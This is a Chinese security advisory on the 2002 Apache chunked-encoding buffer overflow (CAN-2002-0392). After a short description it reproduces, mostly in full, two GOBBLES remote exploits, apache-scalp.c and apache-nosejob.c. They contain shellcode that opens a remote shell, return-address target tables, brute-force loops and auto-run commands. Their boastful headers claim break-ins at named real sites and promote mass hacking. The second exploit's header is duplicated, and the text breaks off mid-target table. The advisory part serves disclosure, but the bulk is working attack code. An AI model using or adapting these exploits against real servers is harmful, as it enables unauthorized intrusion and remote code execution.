首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第33期->最新漏洞
期刊号: 类型: 关键词:
Apache Web Server 分块(chunked)编码远程溢出漏洞

日期:2002-07-17

发布日期: 2002-6-18
更新日期: 2002-6-20
受影响的系统:  
Apache Group Apache 2.0.34-BETA win32
Apache Group Apache 2.0.32-BETA win32
Apache Group Apache 2.0.28-BETA win32
Apache Group Apache 1.3.9win32
Apache Group Apache 1.3.9
Apache Group Apache 1.3.7-dev
Apache Group Apache 1.3.6win32
Apache Group Apache 1.3.4
Apache Group Apache 1.3.3
Apache Group Apache 1.3.24win32
Apache Group Apache 1.3.24
Apache Group Apache 1.3.23win32
Apache Group Apache 1.3.23
Apache Group Apache 1.3.22win32
Apache Group Apache 1.3.22
Apache Group Apache 1.3.20win32
Apache Group Apache 1.3.20
Apache Group Apache 1.3.19win32
Apache Group Apache 1.3.19
Apache Group Apache 1.3.18win32
Apache Group Apache 1.3.18
Apache Group Apache 1.3.17win32
Apache Group Apache 1.3.17
Apache Group Apache 1.3.16win32
Apache Group Apache 1.3.15win32
Apache Group Apache 1.3.14win32
Apache Group Apache 1.3.14Mac
Apache Group Apache 1.3.14
Apache Group Apache 1.3.13win32
Apache Group Apache 1.3.12win32
Apache Group Apache 1.3.12
Apache Group Apache 1.3.11win32
Apache Group Apache 1.3.11
Apache Group Apache 1.3.1
Apache Group Apache 1.3

不受影响系统:  
Apache Group Apache 2.0.39
Apache Group Apache 1.3.26

描述:
--------------------------------------------------------------------------------


BUGTRAQ  ID: 5033
CVE(CAN) ID: CAN-2002-0392

Apache Web Server是一款非常流行的开放源码、功能强大的Web服务器程序,由Apache Software Foundation开发和维护。它可以运行在多种操作系统平台下,例如Linux,UNIX,BSD系统以及Windows系统。

Apache在处理以分块(chunked)方式传输数据的HTTP请求时存在设计漏洞,远程攻击者可能利用此漏洞在某些Apache服务器上以Web服务器进程的权限执行任意指令或进行拒绝服务攻击。

分块编码(chunked encoding)传输方式是HTTP 1.1协议中定义的Web用户向服务器提交数据的一种方法,当服务器收到chunked编码方式的数据时会分配一个缓冲区存放之,如果提交的数据大小未知,客户端会以一个协商好的分块大小向服务器提交数据。

Apache服务器缺省也提供了对分块编码(chunked encoding)支持。Apache使用了一个有符号变量储存分块长度,同时分配了一个固定大小的堆栈缓冲区来储存分块数据。出于安全考虑,在将分块数据拷贝到缓冲区之前,Apache会对分块长度进行检查,如果分块长度大于缓冲区长度,Apache将最多只拷贝缓冲区长度的数据,否则,则根据分块长度进行数据拷贝。然而在进行上述检查时,没有将分块长度转换为无符号型进行比较,因此,如果攻击者将分块长度设置成一个负值,就会绕过上述安全检查,Apache会将一个超长(至少>0x80000000字节)的分块数据拷贝到缓冲区中,这会造成一个缓冲区溢出。

对于1.3到1.3.24(含1.3.24)版本的Apache,现在已经证实在Win32系统下, 远程攻击者可能利用这一漏洞执行任意代码。在UNIX系统下,也已经证实至少在OpenBSD系统下可以利用这一漏洞执行代码。据报告称下列系统也可以成功的利用:
*      Sun Solaris 6-8 (sparc/x86)
*      FreeBSD 4.3-4.5 (x86)
*      OpenBSD 2.6-3.1 (x86)
*      Linux (GNU) 2.4 (x86)

对于Apache 2.0到2.0.36(含2.0.36),尽管存在同样的问题代码,但它会检测错误出现的条件并使子进程退出。

根据不同因素,包括受影响系统支持的线程模式的影响,本漏洞可导致各种操作系统下运行的Apache Web服务器拒绝服务。


<*来源:Mark Litchfield (mark@ngssoftware.com)
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-06/0176.html
        http://httpd.apache.org/info/security_bulletin_20020617.txt
        http://bvlive01.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=20502
        http://www.cert.org/advisories/CA-2002-17.html
        https://www.redhat.com/support/errata/RHSA-2002-103.html
        http://www.debian.org/security/2002/dsa-131
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SN-02:04.asc
        http://www.suse.com/de/support/security/2002_022_apache.html
*>

测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

GOBBLES(gobbles@hushmail.com) 提供了两个测试程序:

/*
* apache-scalp.c
* OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!!
*
* ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
*
* BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
*
* ". . . and Doug Sniff said it was a hole in Epic."
*
* ---
* Disarm you with a smile
* And leave you like they left me here
* To wither in denial
* The bitterness of one who's left alone
* ---
*
* Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to
* the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
* their crappy memcpy implementation that makes this 32-bit impossibility
* very easy to accomplish. This vulnerability was recently rediscovered by a slew
* of researchers.
*
* The "experts" have already concurred that this bug...
*      -       Can not be exploited on 32-bit *nix variants
*      -       Is only exploitable on win32 platforms
*      -       Is only exploitable on certain 64-bit systems
*
* However, contrary to what ISS would have you believe, we have
* successfully exploited this hole on the following operating systems:
*
*      Sun Solaris 6-8 (sparc/x86)
*      FreeBSD 4.3-4.5 (x86)
*      OpenBSD 2.6-3.1 (x86)
*      Linux (GNU) 2.4 (x86)
*
* Don't get discouraged too quickly in your own research. It took us close
* to two months to be able to exploit each of the above operating systems.
* There is a peculiarity to be found for each operating system that makes the
* exploitation possible.
*
* Don't email us asking for technical help or begging for warez. We are
* busy working on many other wonderful things, including other remotely
* exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform
* the community that those holes don't exist? We wonder who's paying her.
*
* This code is an early version from when we first began researching the
* vulnerability. It should spawn a shell on any unpatched OpenBSD system
* running the Apache webserver.
*
* We appreciate The Blue Boar's effort to allow us to post to his mailing
* list once again. Because he finally allowed us to post, we now have this
* very humble offering.
*
* This is a very serious vulnerability. After disclosing this exploit, we
* hope to have gained immense fame and glory.
*
* Testbeds: synnergy.net, monkey.org, 9mm.com
*
* Abusing the right syscalls, any exploit against OpenBSD == root. Kernel
* bugs are great.
*
* [#!GOBBLES QUOTES]
*
* --- you just know 28923034839303 admins out there running
*     OpenBSD/Apache are going "ugh..not exploitable..ill do it after the
*     weekend"
* --- "Five years without a remote hole in the default install". default
*      package = kernel. if theo knew that talkd was exploitable, he'd cry.
* --- so funny how apache.org claims it's impossible to exploit this.
* --- how many times were we told, "ANTISEC IS NOT FOR YOU" ?      
* --- I hope Theo doesn't kill himself                        
* --- heh, this is a middle finger to all those open source, anti-"m$"
*     idiots... slashdot hippies...
* --- they rushed to release this exploit so they could update their ISS
*     scanner to have a module for this vulnerability, but it doesnt even
*     work... it's just looking for win32 apache versions
* --- no one took us seriously when we mentioned this last year. we warned
*     them that moderation == no pie.
* --- now try it against synnergy :>                          
* --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM
*
* xxxx  this thing is a major exploit. do you really wanna publish it?
* oooo  i'm not afraid of whitehats
* xxxx  the blackhats will kill you for posting that exploit
* oooo  blackhats are a myth
* oooo  so i'm not worried
* oooo  i've never seen one
* oooo  i guess it's sort of like having god in your life
* oooo  i don't believe there's a god
* oooo  but if i sat down and met him
* oooo  i wouldn't walk away thinking
* oooo  "that was one hell of a special effect"
* oooo  so i suppose there very well could be a blackhat somewhere
* oooo  but i doubt it... i've seen whitehat-blackhats with their ethics
*       and deep philosophy...
*
* [GOBBLES POSERS/WANNABES]
*
* --- #!GOBBLES@EFNET (none of us join here, but we've sniffed it)
* --- super@GOBBLES.NET (low-level.net)
*
* GOBBLES Security
* GOBBLES@hushmail.com
* http://www.bugtraq.org
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>


#define EXPLOIT_TIMEOUT        5    /* num seconds to wait before assuming it failed */
#define RET_ADDR_INC        512


#define MEMCPY_s1_OWADDR_DELTA    -146
#define PADSIZE_1        4
#define PADSIZE_2         5
#define PADSIZE_3        7


#define REP_POPULATOR        24
#define REP_RET_ADDR        6
#define REP_ZERO        36
#define REP_SHELLCODE        24
#define NOPCOUNT        1024

#define NOP            0x41
#define PADDING_1        'A'
#define PADDING_2        'B'
#define PADDING_3        'C'

#define PUT_STRING(s)        memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b)        memset(p, b, n); p += n;

#define SHELLCODE_LOCALPORT_OFF 30

char shellcode[] =
  "\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
  "\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
  "\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
  "\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
  "\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
  "\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
  "\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
  "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
  "\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";


struct {
    char *type;
    u_long retaddr;
} targets[] = {    // hehe, yes theo, that say OpenBSD here!
    { "OpenBSD 3.0 x86 / Apache 1.3.20",    0xcf92f },
    { "OpenBSD 3.0 x86 / Apache 1.3.22",    0x8f0aa },
    { "OpenBSD 3.0 x86 / Apache 1.3.24",    0x90600 },
    { "OpenBSD 3.1 x86 / Apache 1.3.20",    0x8f2a6 },
    { "OpenBSD 3.1 x86 / Apache 1.3.23",    0x90600 },
    { "OpenBSD 3.1 x86 / Apache 1.3.24",    0x9011a },
    { "OpenBSD 3.1 x86 / Apache 1.3.24 #2",    0x932ae },
};


int main(int argc, char *argv[]) {

    char           *hostp, *portp;
    unsigned char   buf[512], *expbuf, *p;
    int             i, j, lport;
    int             sock;
    int             bruteforce, owned, progress;
    u_long          retaddr;
    struct sockaddr_in sin, from;


    if(argc != 3) {
        printf("Usage: %s <target#|base address> <ip[:port]>\n", argv[0]);
        printf("  Using targets:\t./apache-scalp 3 127.0.0.1:8080\n");
        printf("  Using bruteforce:\t./apache-scalp 0x8f000 127.0.0.1:8080\n");
        printf("\n--- --- - Potential targets list - --- ----\n");
        printf("Target ID / Target specification\n");
        for(i = 0; i < sizeof(targets)/8; i++)
            printf("\t%d / %s\n", i, targets[i].type);

        return -1;
    }


    hostp = strtok(argv[2], ":");
    if((portp = strtok(NULL, ":")) == NULL)
        portp = "80";

    retaddr = strtoul(argv[1], NULL, 16);
    if(retaddr < sizeof(targets)/8) {
        retaddr = targets[retaddr].retaddr;
        bruteforce = 0;
    }
    else
        bruteforce = 1;
        

    srand(getpid());
    signal(SIGPIPE, SIG_IGN);
    for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) {

        /* skip invalid return adresses */
        i = retaddr & 0xff;
        if(i == 0x0a || i == 0x0d)
            retaddr++;
        else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4))
            continue;


        sock = socket(AF_INET, SOCK_STREAM, 0);
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(hostp);
        sin.sin_port = htons(atoi(portp));
        if(!progress)
            printf("\n[*] Connecting.. ");

        fflush(stdout);
        if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
            perror("connect()");
            exit(1);
        }

        if(!progress)
            printf("connected!\n");


        /* Setup the local port in our shellcode */
        i = sizeof(from);
        if(getsockname(sock, (struct sockaddr *) & from, &i) != 0) {
            perror("getsockname()");
            exit(1);
        }

        lport = ntohs(from.sin_port);
        shellcode[SHELLCODE_LOCALPORT_OFF + 1] = lport & 0xff;
        shellcode[SHELLCODE_LOCALPORT_OFF + 0] = (lport >> 8) & 0xff;


        p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
                    + ((PADSIZE_1 + (REP_RET_ADDR * 4) + REP_ZERO + 1024) * REP_POPULATOR));

        PUT_STRING("GET / HTTP/1.1\r\nHost: apache-scalp.c\r\n");

        for (i = 0; i < REP_SHELLCODE; i++) {
            PUT_STRING("X-");
            PUT_BYTES(PADSIZE_3, PADDING_3);
            PUT_STRING(": ");
            PUT_BYTES(NOPCOUNT, NOP);
            memcpy(p, shellcode, sizeof(shellcode) - 1);
            p += sizeof(shellcode) - 1;
            PUT_STRING("\r\n");
        }

        for (i = 0; i < REP_POPULATOR; i++) {
            PUT_STRING("X-");
            PUT_BYTES(PADSIZE_1, PADDING_1);
            PUT_STRING(": ");
            for (j = 0; j < REP_RET_ADDR; j++) {
                *p++ = retaddr & 0xff;
                *p++ = (retaddr >> 8) & 0xff;
                *p++ = (retaddr >> 16) & 0xff;
                *p++ = (retaddr >> 24) & 0xff;
            }

            PUT_BYTES(REP_ZERO, 0);
            PUT_STRING("\r\n");
        }

        PUT_STRING("Transfer-Encoding: chunked\r\n");
        snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
        PUT_STRING(buf);
        PUT_BYTES(PADSIZE_2, PADDING_2);
        snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", MEMCPY_s1_OWADDR_DELTA);
        PUT_STRING(buf);

        write(sock, expbuf, p - expbuf);

        progress++;
        if((progress%70) == 0)
            progress = 1;

        if(progress == 1) {
            memset(buf, 0, sizeof(buf));
            sprintf(buf, "\r[*] Currently using retaddr 0x%lx, length %u, localport %u",
                retaddr, (unsigned int)(p - expbuf), lport);
            memset(buf + strlen(buf), ' ', 74 - strlen(buf));
            puts(buf);
            if(bruteforce)
                putchar(';');
        }
        else
            putchar((rand()%2)? 'P': 'p');


        fflush(stdout);
        while (1) {
            fd_set          fds;
            int             n;
            struct timeval  tv;

            tv.tv_sec = EXPLOIT_TIMEOUT;
            tv.tv_usec = 0;

            FD_ZERO(&fds);
            FD_SET(0, &fds);
            FD_SET(sock, &fds);

            memset(buf, 0, sizeof(buf));
            if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
                if(FD_ISSET(sock, &fds)) {
                    if((n = read(sock, buf, sizeof(buf) - 1)) <= 0)
                        break;

                    if(!owned && n >= 4 && memcmp(buf, "\nok\n", 4) == 0) {
                        printf("\nGOBBLE GOBBLE!@#%%)*#\n");
                        printf("retaddr 0x%lx did the trick!\n", retaddr);
                        sprintf(expbuf, "uname -a;id;echo hehe, now use 0day OpenBSD local kernel exploit to gain instant r00t\n");
                        write(sock, expbuf, strlen(expbuf));
                        owned++;
                    }

                    write(1, buf, n);
                }

                if(FD_ISSET(0, &fds)) {
                    if((n = read(0, buf, sizeof(buf) - 1)) < 0)
                        exit(1);

                    write(sock, buf, n);
                }
            }

            if(!owned)
                break;
        }

        free(expbuf);
        close(sock);

        if(owned)
            return 0;

        if(!bruteforce) {
            fprintf(stderr, "Ooops.. hehehe!\n");
            return -1;
        }
    }

    return 0;
}



/*
* apache-nosejob.c - Now with FreeBSD & NetBSD targets ;>
*
* !! THIS EXPLOIT IS NOW PRIVATE ON BUGTRAQ !!
*
* USE BRUTE FORCE ! "AUTOMATED SCRIPT KIDDY" ! USE BRUTE FORCE !
*
* YEZ!$#@ YOU CAN EVEN DEFACE BUGTRAQ.ORG!
*
* Your high priced security consultant's plane ticket: $1500
* Your high priced security consultant's time: $200/hour
* RealSecure nodes all over your company: $200,000
* Getting owned by 0day: Priceless
*  
* * BEG FOR FAVOR * BEG FOR FAVOR * BEG FOR FAVOR * BEG FOR FAVOR *
* If somebody could do us a big favor and contact Jennifer Garner and ask
* her to make a journey to Vegas this summer for Defcon, to hang out with
* the members of GOBBLES Security who are all huge fans of hers, we would
* be eternally grateful.  We are 100% serious about this.  We would love
* to have a chance to sit down and have a nice conversation with her during
* the conference -- something little to make our lives feel more complete.
*
* Just show her this picture, and she'll understand that we're not some
* crazy obsessive fanatical lunatics that she would want to avoid. ;-)
*         http://phrack.org/summercon2002/GOBBLES_show.jpg
* We even promise to keep our clothes on!
*
* Thx to all those GOBBLES antagonizers. Your insults fuel our desire to
* work harder to gain more fame.
*
* This exploit brought to you by a tagteam effort between GOBBLES Security
* and ISS X-Forces.  ISS supplied the silly mathematical computations and
* other abstract figures declaring the exploitation of this bug to be
* impossible, without factoring in the chance that there might be other
* conditions present that would allow exploitation.  After the failure of
* ISS' Santa Claus, GOBBLES Security didn't want to disappoint the kids and
* the security consultants and have brought forth a brand new shiny toy for
* all to marvel at.
*
* GOBBLES Security Sex Force:  A lot of companies like to let you know
* their employees have the biggest dicks.  We're firm believers in the
* idea that it's not the size of the wave, but rather the motion of the
* ocean -- we have no choice anyway.
*
* 3APAPAPA said this can't be done on FreeBSD. He probably also thinks
* qmail can't be exploited remotely. Buzzz! There we go speaking through
* our asses again.  Anyways we're looking forward to his arguments on why
* this isn't exploitable on Linux and Solaris.  Lead, follow, or get the
* fuck out of the way.
*
* Weigh the chances of us lying about the Linux version. Hmm, well so far
* we've used a "same shit, different smell" approach on *BSD, so you could
* be forgiven for thinking we have no Linux version. Then bring in the
* reverse psychology factor of this paragraph that also says we don't have
* one. But we'd say all of the above to make you believe us. This starts to
* get really complicated.
*
* ---
* God knows I'm helpless to speak
* On my own behalf
* God is as helpless as me
* Caught in the negatives
* We all just do as we please
* False transmissions
* I hope God forgives me
* For my transgressions
*
* It's what you want
* To know no consequences
* It's what you need
* To fucking bleed
* It's all too much
* ---
*
* Changes:
* + can do hostname resolution
* + uses getopt()
* + works against freebsd and netbsd now
* + ability to execute custom commands when shellcode replies -- great for
*   mass hacking
* + rand() value bitshifted for more randomness in our progress bar tongues
* + more targets ;> BUT REMEMBER BRUTE FORCE MODE!!!
* + [RaFa] complained that the first version didn't let him hack through
*   proxies.  New shellcode has been added for additional fun.  It's real
*   funky, monkey, do you trust?  Didn't think so.
*
* Fun to know:
* + Most apache installations don't even log the attack
* + GOBBLES Security is not playing games anymore.
* + GOBBLES Security has more active members than w00w00.
* + w00w00.org is still vulnerable to this exploit.
* + w00w00 might release another AIM advisory soon about how evil the
*   whole DMCA thing is.  *yawn*
*
* Fun to do:
* + Spot the #openbsd operator who can figure out how to use this!
* + Join #snort and laugh at their inadequacies
* + Question the effectiveness of Project Honeynet, when they have yet
*   to discover the exploitation of a single "0day" vulnerability in the
*   wild.  HURRY UP B0YZ 4ND H4CK Y0UR 0WN H0N3YP0TZ N0W W1TH 4LL Y0UR
*   0DAY T0 PR0V3 US WR0NG!!@#  Dumb twats.
*
* 80% of #openbsd won't be patching Apache because:
* + "It's not in the default install"
* + "It's only uid nobody. So what?"
* + "Our memcpy() implementation is not buggy"
* + "I couldn't get the exploit to work, so it must not actually be
*    exploitable.  Stupid GOBBLES wasting my time with nonsense"
* + jnathan's expert advice to his peers is that "this is not much of
*   a security issue" -- @stake + w00w00 + snort brain power in action!
*
* Testbeds: hotmail.com, 2600.com, w00w00.org, efnet.org, atstake.com,
*         yahoo.com, project.honeynet.org, pub.seastrom.com
*
* !! NOTICE TO CRITICS !! NOTICE TO CRITICS !! NOTICE TO CRITICS !!
*
* If you're using this exploit against a vulnerable machine (that the
* exploit is supposed to work on, quit mailing us asking why apache-scalp
* doesn't work against Linux -- dumbasses) and it does not succeed, you
* will have to play with the r|d|z values and * BRUTEFORCE * BRUTEFORCE *
* * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE *
*
* We wrote this for ethical purposes only.  There is such a thing as an
* "ethical hacker" right?
*
* This should make penetration testing _very_ easy.  Go out and make some
* money off this, by exploiting the ignorance of some yahoo who will be
* easily ./impressed with your ability to use gcc.  No, we won't provide
* you with precompiled binaries.  Well, at least for *nix. ;-)
*
* * IMPORTANT ANNOUCEMENT * IMPORTANT ANNOUNCEMENT * IMPORTANT ANNOUCEMENT *
* --- GOBBLES Security is no longer accepting new members.  We're now a
*     closed group.  Of course, we'll still share our warez with the
*     community at large, but for the time we have enough members.  
*
*     Greets to our two newest members:
*    -[RaFa], Ambassador to the Underworld
*    -pr0ix, Director of Slander and Misinformation
*
* [#!GOBBLES@SECRET_SERVER QUOTES]
*
* --- i wont be surprised that when I return tomorrow morning the
*     internet will have come to a grinding halt with people crying for
*     medics
* --- the internet will be over in a couple of months
* --- nobody in #openbsd can get it to work... #netbsd people seem to be
*     managing fine...  
* --- they dont grasp the concept of the base address... i seriously
*     thought this was the most kiddie friendly exploit ever released
* --- even bb could get it working. look at vuln-dev
* --- we have to try to bump that threatcon up a notch
* --- what the alldas url now? how many defacements appeared yet?
* --- we should do a poem entitled "default openbsd" and mention how
*     it just sits there... inanimate... soon theo will be stripping the
*     network code so not even gobkltz.c works... as theo's paranoia
*     increases and he becomes out of sync with the real world, strange
*     things start to happen with openbsd...  CHANGELOG: "now also safe
*     from the voices. 6 years without the screaming in the default
*     install"
* --- i can port it to windows.. i can make a gui using mfc.. with
*     a picture of the skull & crossbones
* --- Has anyone ever been caught by an IDS? I certainly never have.
*     This one runs on many machines. It ports to HP-UX.
* --- strange how mr spitzner didn't know honeynet.org was owned
* --- an official openbsd mirror is still vulnerable?  dear god they're
*     out of it!
* --- I think we're finally famous.
* --- we're on the front page of securityfocus, and we didn't even have
*     to deface them!  too bad the article wasn't titled, "Hi BlueBoar!"
* --- we need GOBBLES group photos at defcon holding up signs that say
*     "The Blue Boar Must Die"
* --- project.honeynet.org is _still_ vulnerable a day after the exploit
*     was made public?  hahaha!
* --- exploit scanner?  www.google.com -- search for poweredby.gif + your
*     *bsd of choice!
* --- i stopped taking my antipsychotics last night.  say no 2 drugz!
* --- <GOBBLES> antiNSA -- HACKING IS NOT FOR YOU!!!!!!
* --- we wonder how much they'll like GeneralCuster.exe
* --- wonder if ISS will use our code in their "security assesment"
*     audits, or if they'll figure out how to exploit this independantly.
*     either way they're bound to make a lot of money off us, bastards.
* --- forget w00giving, this year itz thanksgiving.
* --- the traffic to netcraft.com/whats will be through the roof for the
*     next few months!
* --- every company with a hub has been sold multiple realsensor units
* --- full disclosure is a necessary evil, so quit your goddamned whining.
* --- people just assume they know what we mean by "testbed"
* --- i can't believe that people still disbelieve in the existance of
*     hackers... i mean, what is all this bullshit about people being
*     shocked that hackers write programs to break into systems so that
*     they can use those programs to break into systems?  are their minds
*     that small?
* --- we're far from done. . .
*
*/

/*
* apache-scalp.c
* OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!!
*
* ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
*
* BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
*
* ". . . and Doug Sniff said it was a hole in Epic."
*
* ---
* Disarm you with a smile
* And leave you like they left me here
* To wither in denial
* The bitterness of one who's left alone
* ---
*
* Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to
* the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
* their crappy memcpy implementation that makes this 32-bit impossibility
* very easy to accomplish. This vulnerability was recently rediscovered by a slew
* of researchers.
*
* The "experts" have already concurred that this bug...
*      -       Can not be exploited on 32-bit *nix variants
*      -       Is only exploitable on win32 platforms
*      -       Is only exploitable on certain 64-bit systems
*
* However, contrary to what ISS would have you believe, we have
* successfully exploited this hole on the following operating systems:
*
*      Sun Solaris 6-8 (sparc/x86)
*      FreeBSD 4.3-4.5 (x86)
*      OpenBSD 2.6-3.1 (x86)
*      Linux (GNU) 2.4 (x86)
*
* Don't get discouraged too quickly in your own research. It took us close
* to two months to be able to exploit each of the above operating systems.
* There is a peculiarity to be found for each operating system that makes the
* exploitation possible.
*
* Don't email us asking for technical help or begging for warez. We are
* busy working on many other wonderful things, including other remotely
* exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform
* the community that those holes don't exist? We wonder who's paying her.
*
* This code is an early version from when we first began researching the
* vulnerability. It should spawn a shell on any unpatched OpenBSD system
* running the Apache webserver.
*
* We appreciate The Blue Boar's effort to allow us to post to his mailing
* list once again. Because he finally allowed us to post, we now have this
* very humble offering.
*
* This is a very serious vulnerability. After disclosing this exploit, we
* hope to have gained immense fame and glory.
*
* Testbeds: synnergy.net, monkey.org, 9mm.com
*
* Abusing the right syscalls, any exploit against OpenBSD == root. Kernel
* bugs are great.
*
* [#!GOBBLES QUOTES]
*
* --- you just know 28923034839303 admins out there running
*     OpenBSD/Apache are going "ugh..not exploitable..ill do it after the
*     weekend"
* --- "Five years without a remote hole in the default install". default
*      package = kernel. if theo knew that talkd was exploitable, he'd cry.
* --- so funny how apache.org claims it's impossible to exploit this.
* --- how many times were we told, "ANTISEC IS NOT FOR YOU" ?      
* --- I hope Theo doesn't kill himself                        
* --- heh, this is a middle finger to all those open source, anti-"m$"
*     idiots... slashdot hippies...
* --- they rushed to release this exploit so they could update their ISS
*     scanner to have a module for this vulnerability, but it doesnt even
*     work... it's just looking for win32 apache versions
* --- no one took us seriously when we mentioned this last year. we warned
*     them that moderation == no pie.
* --- now try it against synnergy :>                          
* --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM
*
* xxxx  this thing is a major exploit. do you really wanna publish it?
* oooo  i'm not afraid of whitehats
* xxxx  the blackhats will kill you for posting that exploit
* oooo  blackhats are a myth
* oooo  so i'm not worried
* oooo  i've never seen one
* oooo  i guess it's sort of like having god in your life
* oooo  i don't believe there's a god
* oooo  but if i sat down and met him
* oooo  i wouldn't walk away thinking
* oooo  "that was one hell of a special effect"
* oooo  so i suppose there very well could be a blackhat somewhere
* oooo  but i doubt it... i've seen whitehat-blackhats with their ethics
*       and deep philosophy...
*
* [GOBBLES POSERS/WANNABES]
*
* --- #!GOBBLES@EFNET (none of us join here, but we've sniffed it)
* --- super@GOBBLES.NET (low-level.net)
*
* GOBBLES Security
* GOBBLES@hushmail.com
* http://www.bugtraq.org
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>
#ifdef __linux__
#include <getopt.h>
#endif


#define HOST_PARAM    "apache-nosejob.c"        /* The Host: field */
#define DEFAULT_CMDZ    "uname -a;id;echo 'hehe, now use another bug/backdoor/feature (hi Theo!) to gain instant r00t';\n"
#define RET_ADDR_INC    512


#define PADSIZE_1    4
#define PADSIZE_2     5
#define PADSIZE_3    7


#define REP_POPULATOR    24
#define REP_SHELLCODE    24
#define NOPCOUNT    1024

#define NOP        0x41
#define PADDING_1    'A'
#define PADDING_2    'B'
#define PADDING_3    'C'

#define PUT_STRING(s)    memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b)    memset(p, b, n); p += n;

char shellcode[] =
  "\x68\x47\x47\x47\x47\x89\xe3\x31\xc0\x50\x50\x50\x50\xc6\x04\x24"
  "\x04\x53\x50\x50\x31\xd2\x31\xc9\xb1\x80\xc1\xe1\x18\xd1\xea\x31"
  "\xc0\xb0\x85\xcd\x80\x72\x02\x09\xca\xff\x44\x24\x04\x80\x7c\x24"
  "\x04\x20\x75\xe9\x31\xc0\x89\x44\x24\x04\xc6\x44\x24\x04\x20\x89"
  "\x64\x24\x08\x89\x44\x24\x0c\x89\x44\x24\x10\x89\x44\x24\x14\x89"
  "\x54\x24\x18\x8b\x54\x24\x18\x89\x14\x24\x31\xc0\xb0\x5d\xcd\x80"
  "\x31\xc9\xd1\x2c\x24\x73\x27\x31\xc0\x50\x50\x50\x50\xff\x04\x24"
  "\x54\xff\x04\x24\xff\x04\x24\xff\x04\x24\xff\x04\x24\x51\x50\xb0"
  "\x1d\xcd\x80\x58\x58\x58\x58\x58\x3c\x4f\x74\x0b\x58\x58\x41\x80"
  "\xf9\x20\x75\xce\xeb\xbd\x90\x31\xc0\x50\x51\x50\x31\xc0\xb0\x5a"
  "\xcd\x80\xff\x44\x24\x08\x80\x7c\x24\x08\x03\x75\xef\x31\xc0\x50"
  "\xc6\x04\x24\x0b\x80\x34\x24\x01\x68\x42\x4c\x45\x2a\x68\x2a\x47"
  "\x4f\x42\x89\xe3\xb0\x09\x50\x53\xb0\x01\x50\x50\xb0\x04\xcd\x80"
  "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50"
  "\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80\xcc";
;

struct {
    char *type;        /* description for newbie penetrator */
    int delta;        /* delta thingie! */
    u_long retaddr;        /* return address */
    int repretaddr;        /* we repeat retaddr thiz many times in the buffer */
    int repzero;        /* and \0'z this many times */
} targets[] = {    // hehe, yes theo, that say OpenBSD here!
    { "FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)",     -150,    0x80f3a00, 6, 36 },
    { "FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)",     -150,    0x80a7975, 6, 36 },
    { "OpenBSD 3.0 x86 / Apache 1.3.20",         -146,    0xcfa00,   6, 36 },
    { "OpenBSD 3.0 x86 / Apache 1.3.22",         -146,    0x8f0aa,   6, 36 },
    { "OpenBSD 3.0 x86 / Apache 1.3.24",         -146,    0x90600,   6, 36 },
    { "OpenBSD 3.0 x86 / Apache 1.3.24 #2",         -146,    0x98a00,   6, 36 },
